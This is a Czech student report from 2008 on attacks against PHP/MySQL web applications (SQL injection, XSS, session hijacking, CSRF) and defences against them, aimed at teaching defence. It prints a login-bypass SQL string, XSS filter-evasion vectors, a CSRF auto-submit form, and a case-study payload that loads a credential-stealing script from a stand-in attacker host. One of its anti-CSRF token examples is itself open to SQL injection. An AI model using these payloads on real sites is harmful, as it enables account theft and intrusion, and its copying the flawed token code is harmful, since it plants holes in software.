referát
Transkript
Pavel Selement, Martin Major MFF, 2008 Zranitelnost webových aplikací Cílem tohoto textu je seznámit čtenáře s některými současnými útoky na webové aplikace a nastínit možnosti obrany proti nim. Budou popsány tyto útoky: ● ● ● ● ● Podstrčení proměnných SQL Injection Cross Site Scripting (XSS) Session hijacking Cross-Site Request Forgery (CSRF) V případě ukázek a příkladů budeme používat php a MySQL. Podstrčení proměnných Tento problém nastává pouze, pokud je zapnutá direktiva register_globals. Tedy pokud nutně nepotřebujeme využívat jejích možností, je řešení jednoduché a to její vypnutí (např. pomocí .htacces). Princip útoku je nastavení (neinicializované) proměnné na hodnotu požadovanou útočníkem. Příklad: Mějme kód if ($user == 'Pepa' && $heslo == 'MojeHeslo') $prava = 9; a uživatel zavolá stránku http://www.example.com/index.php?prava=9 pak automaticky získá práva 9. Většina útoků podstrčením proměnné pomáhá nebo přímo vede k XSS. SQL Injection Zneužití této zranitelnosti nastává při sestavování dotazu do databáze na základě uživatelova dotazu. Útočník podvrhne data (hodnoty odesílané na server) tak, aby pozměnil výsledek SQL dotazu. Tento útok je velmi nebezpečný, protože útočníkovi dovoluje z databáze číst, zapisovat do ní, i v ní mazat. Zároveň může získat přístup ke všem účtům, tedy i k administrátorskému. Tato chyba je velmi častá, až 50% webů je díky ní nějak napadnutelných. Příklad: Mějme databázovou tabulku id jmeno heslo prava INT VARCHAR(255) VARCHAR(255) INT a ve stránce databázový dotaz $result = mysql_query(" SELECT * FROM uzivatele WHERE uzivatel = '" . $_POST['uzivatel'] . "' AND heslo = '" . $_POST['heslo'] . "' "); Pokud uživatel při přihlašování vyplní uživatel = Pepa, heslo = MojeHeslo, dotaz se vyplní na $result = mysql_query(" SELECT * FROM uzivatele WHERE uzivatel = 'Pepa' AND heslo = 'MojeHeslo' "); Pokud ale vyplní uživatel = Admin, heslo = a' OR '1'='1, potom se dotaz vyplní na $result = mysql_query(" SELECT * FROM uzivatele WHERE uzivatel = 'Admin' AND heslo = 'a' OR '1'='1' "); což je díky 1=1 vždy pravda. Útoky přes SQL injection mají naštěstí i omezení, která ale záleží na zvoleném jazyku a hlavně databázové platformě. ● Funkce mysql_query() nepodporuje provedení více SQL dotazů najednou (odpadají problémy s konstrukcemi typu: '; truncate tabulka; ). ● Dost podstatným faktem je, že nijak nelze zavolat externí aplikaci, což by docela podstatně rozšířilo rozsah nebezpečných dotazů. Např. v MSSQL to lze. ● Pokud není zdrojový kód uložen v databázi a volán přes eval(), tak se útočník nijak nedostane k vlastnímu kódu. ● V SELECT dotazu nelze mazat data ani přes složený dotaz Obrana proti SQL injection spočívá v důkladném ošetření vstupních dat. Pro základní kontrolu číselných typů můžeme použít funkci is_numeric(). Pro složitější typy (string) je třeba „escapovat“ znaky – používat funkce addslashes() nebo mysql_real_escape_string() pro všechny uživatelské vstupy. V php existuje serverová direktiva magic_quotes_gpc, která automaticky zajišťuje slashování, ale je označená jako deprecated a v php 6.0 už nebude. Pokud nemůžeme ovlivnit nastavení serveru, musíme si napsat vlastní funkci pro slashování, protože pokud bychom použili některou z vestavěných (mysql_real_escape_string) a direktiva by byla zapnuta, bylo by escapování dvojité. Naopak pokud bychom na ni spoléhali a zapnutá by nebyla, neošetřili bychom vstup. Jako ideální řešení se jeví použití nějaké databázové vrsty, ať už vlastní, vestavěné (např. MySQLi) nebo nadstavbové (např. PEAR DB). Konstrukce dotazu pak vypadá typově: $db->query("SELECT * FROM [test] WHERE jmeno='%s' AND cislo='%i'", $jmeno, $cislo); Cross Site Scripting (XSS) Tuto metodu útoku je možné použít na serverech, kde nejsou dostatečně ošetřená vstupní data a útočník je schopen podstrčit na stránku svůj vlastní kód (javascript). Takto napadnutelná je naprostá většina stránek (odhady hovoří o 8 až 9 webech z 10), čímž se stává asi nejnebezpečnějším útokem současnosti. XSS můžeme dělit na dva základní druhy: ● Persistent (nebo stored, second-order) ● Non-Persistent (nebo reflected) Persistent XSS útok se používá na stránky generované z databáze. Útočník např. do komentáře vloží JavaScript, který se poté provede každému uživateli při zobrazení stránky s komentářem. Non-persistent je založen na pozměnění URL. Pokud si v URL přenášíme nějakou informaci, která je přímo interpretovaná na stránce, útočník může na její místo vložit škodlivý kód, který se provede místo vypsání očekávané informace. Pokud uživatel na stránky přistoupí přes regulérní link, tento útok se ho netýká. Uživatel se proti tomuto útoku může bránit vypnutím JavaScriptu, ale za cenu ztráty funkčnosti stránky. Na straně serveru je třeba kontrolovat vstupní data od uživatelů, které následně vypisujeme na stránku. Toto je velmi náročný proces, jelikož odfiltrovat všechny nežádoucí varianty je díky jejich rozmanitosti velmi náročné. Ošetřování dat můžeme provádět buď při ukládání nebo při vypisování. Zpravidla se volí druhá varianta (ale i tak musíme částečně ošetřit vstup před ukládáním, aby se zabránilo útokům typu SQL injection apod.) Útočník může pozměnit URL, data posílaná pomocí GET i POST, uložená v cookies nebo v databázi některé serverové proměnné (PHP_SELF, SERVER_NAME) a samozřejmě přímý uživatelský vstup (políčko formuláře, komentáře, diskuze, …). Toto všechno je třeba ošetřovat. Docela jednoduše a účinně se na ošetření dat používá funkce htmlspecialchars(). Dobrým návykem je používat tuto funkci opravdu na všechny výstupy. Ušetříte si tím přemýšlení „jestli by se do této číselné hodnoty opravdu nějak dal dostat kód“ a nezapomenete některý ošetřit.. Problém ale nastává, pokud chceme uživateli dovolit některé html značky (např. vložení obrázku). Pak je třeba napsat si ošetrování vlastní a tím vzniká velká šance, že některou variantu útoku zapomeneme ošetřit. Jiným řešením je použití šablonovacího systému (Smarty, HTMLTmpl, Teng, …), kde je veškerý výstup standatně escapován. Příklady maskování kódu (mnoho dalších naleznete na http://ha.ckers.org/xss.html ): alert("XSS"); eval(String.fromCharCode(97,108,101,114,116,40,34,88,83,83,34,41,59)) <IMG SRC=JaVa ScRiPt:alert('XSS')> <IMG SRC="jav	ascript:alert('XSS');"> <<SCRIPT>alert("XSS");//<</SCRIPT> <IFRAME SRC="javascript:alert('XSS');"></IFRAME> <DIV STYLE="width: expression(alert('XSS'));"> Metody maskování jsou zavislé na prohlížeči, neboť ty se samozřejmě snaží těmto útokům předcházet. Nové verze často zabrání některé z variant, ale těch je tolik, že ještě dlouho, pokud někdy, nebudeme v bezpečí. Pomocí XSS můžeme např. získat session ID z uživatelova cookie, měnit vzhled a obsah stránky, pozměnit přihlašování napadené stránky tak, že odešle přihlašovací údaje i na útočníkův server a mnoho dalšího. Session hijacking Mechanismus session proměnných slouží pro uložení informací (např. o přihlášení) při přechodu mezi stránkami. Pro identifikaci uživatele se používaji cookies s jednoznačným a neuhodnutelným session ID. Při session hijacking útočník zjistí a následně využije stejné session ID jako oprávněný uživatel a ukradne mu jeho seanci. Do této skupiny útoků by se dalo zařadit i session fixation. Jedná se o podobný útok, ale s tím rozdílem, že útočník nepotřebuje zjistit uživatelovo ID, ale nastaví ho na požadovanou hodnotu (podstrčením odkazu, přímou editací cookie, …). Jakmile se uživatel přihlásí, použije se toto ID, které už útočník zná a může převzít kontrolu nad účtem. Obrana proti tomuto útoku je snadná. Stačí před přihlášením (a jinými důležitými akcemi) zavolat session_regenerate_id(), čímž se podstčené ID zahodí a nově vygenerované útočník nezná. Obranu proti session hijacking rozdělíme na 3 části: server, přenos, uživatel. Obrana na serveru spočívá v dobrém zabezpečení (hlavně open_basedir a safe_mode). Pokud je server špatně nastaven, mohou ostatní uživatelé získat session ID i s daty. Doporučuje se přejít na PHP 5.2.4 nebo vyšší, protože ve starších verzích se vyskytuje chyba ve funkci glob(), díky které si uživatelé serveru mohou navzájem číst i měnit session informace. Pokud nemůžeme ovlivnit nastavení serveru a používáme session pro uložení citlivých údajů, vyplatí se napsat si vlastní správu session proměnných (využije se session_set_save_handler), poté si data můžeme ukládat třeba do dotabáze. Odposlechnutí při přenosu se zabrání prostým použitím https místo http. Zatím se používá jen u velmi citlivých informací. Pozor na to, že SSL šifrování je často použito jen pro přihlášení, tedy útočník nedokáže odposlechnout heslo, cookie už ale ano. Ochrana u uživatele je velmi složitá, prakticky nemožná, jelikož nemůžeme nijak ovlivnit, kdo bude mít k počítači přístup. Kvůli tomu by se pro identifikaci session měla používat nějaká doplňková autentizace (IP adresa, User-Agent, … ). Session ID se kromě cookie múže přenáset i v URL. Toho se dá velmi dobře využít pro session fixation. Ale pokud má uživatel zakázané cookies, je to jediná možnost jak přenést session ID. Ideální řešení je tuto možnost vypnout (session.use_only_cookies). Pokud opravdu potřebujeme přenášet session ID v URL, přestože je to bezpečnostní riziko, měli bychom minimálně vytvořit zvláštní stránku pro externí odkazy, aby se na ně session ID nepřenášelo v hlavičce referer. Cross-Site Request Forgery (CSRF) Tento útok je veden proti aplikacím používajícím cookies nebo hlavičku Authorization. Uživatel navštíví stránku, která provádí nějakou akci bez vědomí uživatele. Počítá se s tím, že uživatel je v aplikaci, na kterou se útočí, přihlášen a akce se tedy regulérně provede. Pro tento útok je třeba znát strukturu napadené aplikace, proto je často útočník zároveň uživatelem této aplikace. Specifikem tohoto útoku je, že je možné provádět akce, ale nelze číst data (ve všech standardních prohlížečích nelze pomocí Java Scriptu číst z jiných serverů). CSRF je jeden z důvodů proč při změně hesla požadovat staré. Příklad: <img src="http://www.example.com/clanek/?operace=smazat&id=30" /> Pokud útočník vloží takový kód do svých stránek (nebo na nějaké fórum, chat, …), na kterou přijde uživatel přihlášený na www.example.com, smaže se článek s id 30 a uživatel ani nebude vědět, že jeho prohlížeč vykonal akci, kterou nechtěl. Pro útoky CSRF se většinou používají skryté obrázky nebo formuláře v iframe odeslané pomocí JavaScriptu, ale jsou samozřejmě i jiné možnosti. Proti tomuto útoku se může bránit sám uživatel tak, že vždy bude přihlášen jen v jedné aplikaci a před navštívením jiné stránky se odhlásí. Ne úplným řešením, ale stížením útoků, je nastavení krátké platnosti cookie. Hodnotu musíme volit s mírou, aby neobtěžovala uživatele neustálým odhlašováním od aplikace a zároveň aby nedávala velký prostor pro případné útoky. Pokud dále vytvoříme aplikaci s neintuitivní strukturou, bude pro útočníka náročné sestavit správné URL. Zároveň bychom měli používat metodu POST místo GET. Ale i to se dá jednoduše obejít pomocí podobného kódu: <form action="http://www.example.com/" method="post"> <input type="hidden" name="action" value="delete" /> </form> <script type="text/javascript"> document.getElementsByTagName('form')[0].submit(); </script> Tomuto útoku zabráníme, pokud před každou akcí budeme požadovat další ověření (opsání obrázku, zadání hesla, …). Řešení je to relativně jednoduché a účinné, ale ne moc pohodlné pro uživatele, proto se většinou používá jen jako doplňková ochrana u nejdůležitějších akcí. Jako možné řešení se jeví kontrola hlavičky Referer. Tím ale zabráníme přístupu uživatelům, kteří ji mají zakázanou (zpravidla kvůli ochraně soukromí). Pokud bychom se rozhodli pro toto řešení, existuje v php direktiva session.referer_check, která Referer kontroluje. Problém je, že kontroluje kteroukoli část URL, takže se dá jednoduše obejít. Lepší řešení je napsat si kontrolu samostaně. Další problém je, že pokud vede odkaz na stránku, kde je přesměrování pomocí Location, předá se původní Referer, takže může projít i neoprávněná akce. Asi nejlepším řešením je použít autorizační token. Před provedením každé akce vygenerujeme náhodný token (např. hash user ID + password) a při provádění operace zkontrolujeme jeho hodnotu. Tokeny by měly mít omezenou platnost. Ukládat je můžeme do Session nebo databáze (lepší). Řešení pak vypadá nějak takto: <?php $token = md5(uniqid(rand(), TRUE)); $_SESSION['token'] = $token; $_SESSION['token_timestamp'] = time(); ?> <form action="/post.php" method="POST"> <input type="hidden" name="token" value="<?php echo $token; ?>" /> ... </form> Poté v post.php porovnáme $_POST['token'] s $_SESSION['token'] a uplatníme časový limit. Nebo jiné, asi hezčí řešení s použitím databáze místo session: <?php $token = rand_chars(); // při výpisu formuláře mysql_query("INSERT INTO auth_tokens (token, validity) VALUES ('$token', NOW() + INTERVAL 1 HOUR)"); echo "<input type='hidden' name='token' value='$token' />\n"; // při provedení akce mysql_query("DELETE FROM auth_tokens WHERE validity < NOW()"); mysql_query("DELETE FROM auth_tokens WHERE token = '$_REQUEST[token]'"); if (mysql_affected_rows()) { ... } ?> Příklad Jako příklad použitelnosti a účinnosti těchto útoků můžeme použít hack živě.cz (http://www.security-portal.cz/clanky/zivecz-hacknuto-pomoci-xss.html). Je to web o informačních technologiích, kde by se dalo očekávat nadprůměrné zabezpečení. Vstupní políčka přihlašovacího formuláře jsou vyplňováná pomocí proměnných strUserName a strPassword v URL adrese, které nejsou ošetřené na XSS a fungovalo ?strUserName=jmeno&strPassword="><script>alert("XSS");</script> Dále si útočník nastavil cookie se jménem strPassword a po znovunačtení stránky se hodnota objevila v políčku pro heslo. Cílem tedy bylo napsat JavaScript, který by zachytil přihlašovací údaje a odeslal je na útočníkův server, a tento skript uložit do cookie některého z právoplatných uživatelů. Script je napsán tak, že uživatel kromě krátkého zdržení nepozná žádný rozdíl. Skript útočník uložil na vlastní server spolu s php skriptem, který bude zapisovat zaznamenané údaje. Do Cookie strPassword se nastaví (zakódované do URL encode): "><script src="http://www.attacker.foo/e.js"></script><br style="display:none Teď už zbývalo jen některému uživateli změnit cookie. V diskuzi na živě jsou nedostatečně ošetřené povolené obrázky (smajlíky).Útočník vložil kód <img onerror="this.src = 'http://www.zive.cz/img/smileys/11.gif'; eval(String.fromCharCode(97,108,101,114,116,40,34,88,83,83,34,41,59)) " src="http://www.zive.cz/img/smileys/999.gif"> Obrázek 999.gif záměrně neexistuje. Když to prohlížeč zjistí, vyvolá se událost onerror, která zobrazí existující smajlík, ale zároveň vykoná kód, který pozmění uživatelovo cookie. Tím byl útok dokončen. V okamžiku, kdy si tuto diskuzi přečetl redaktor živě.cz, se mu změnilo cookie, díky kterému se při přihlašování odeslaly údaje i na útočníkův server a tím získal plný přístup do systému. Podobný příklad můžete najít na http://www.abclinuxu.cz/blog/zatial_bez_mena/2007/7/xss-plussession-hijacking-hack-abclinuxu.cz Zdroje: http://php.vrana.cz/ http://www.wikipedia.org/ http://shiflett.org/ http://www.security-portal.cz/
Podobné dokumenty
Jaroslav SKÁLA poznámky k přípravě na reparát
[!] všechny příkazy PHP musí být zakončeny středníkem
- správný kód by měl být taktéž průběžně komentovaný – komentáře vkládáme vždy za část
hotové skriptu pomocí znaků // nebo #
Konfigurace Apache - Karel Kohout
root@server:/#apt-get install apache2
Pro doinstalování dalších modulů (k nalezení například přes apt-cache search libapache2-mod)
root@server:/#apt-get install libapache2-mod-nazev_modulu
Upgrade ...
Stavba osobního počítače
Statická elektřina je prevít! Až budete stavět svůj první pc (nebo jen vyměňovat některé
díly), dejte si veliký pozor na přenos. Nejchoulostivějšími díly jsou základní deska a
procesor. U základní ...
Seznam všech témat pro ústní zkoušku PRG+IDS 2011
• reakce na událost
Projekce a restrikce
• výběry sloupců
• aliasy sloupců a tabulek
• spojování sloupců pomocí fce CONCAT()
• výběry řádků
• změna řazení výpisu řádků
• omezení řádků výpisu
• využ...
Značky HTML
Čemu se vyhnout
• Neduplikovat stránky na více adresách –
tříští to pozornost vyhledávačů a cachí a
může být vyhodnoceno i jako podvod –
použít hlavičku Location
• Nepoužívat špinavé triky (např. ...
MANUÁL pro verzi 1.56.
několik procent. Tím dosáhnete toho, že otáčky zůstanou stálé v celém rozmezí úhlů nastavení kolektivu.
Dobrým testem je roztočit rotor na zemi a změřit otáčky s kolektivem naplno do minusu. Na zák...
Starověká literatura 2
Vyhledej a zpracuj v heslech informace na zadané téma.
Zpracujete na základě svých zápisků myšlenkovou mapu
a svou práci prezentujte svým spolužákům.
1 seite.cdr - hirth
cenovou nabídku
Prodej přírodních kamenů :
Přírodní kamen se díky své geologické struktuře může odchylovat od vzorků jak v barvě, tak ve své struktuře,
zrnitosti. Barva a struktura se vždy dodržuje...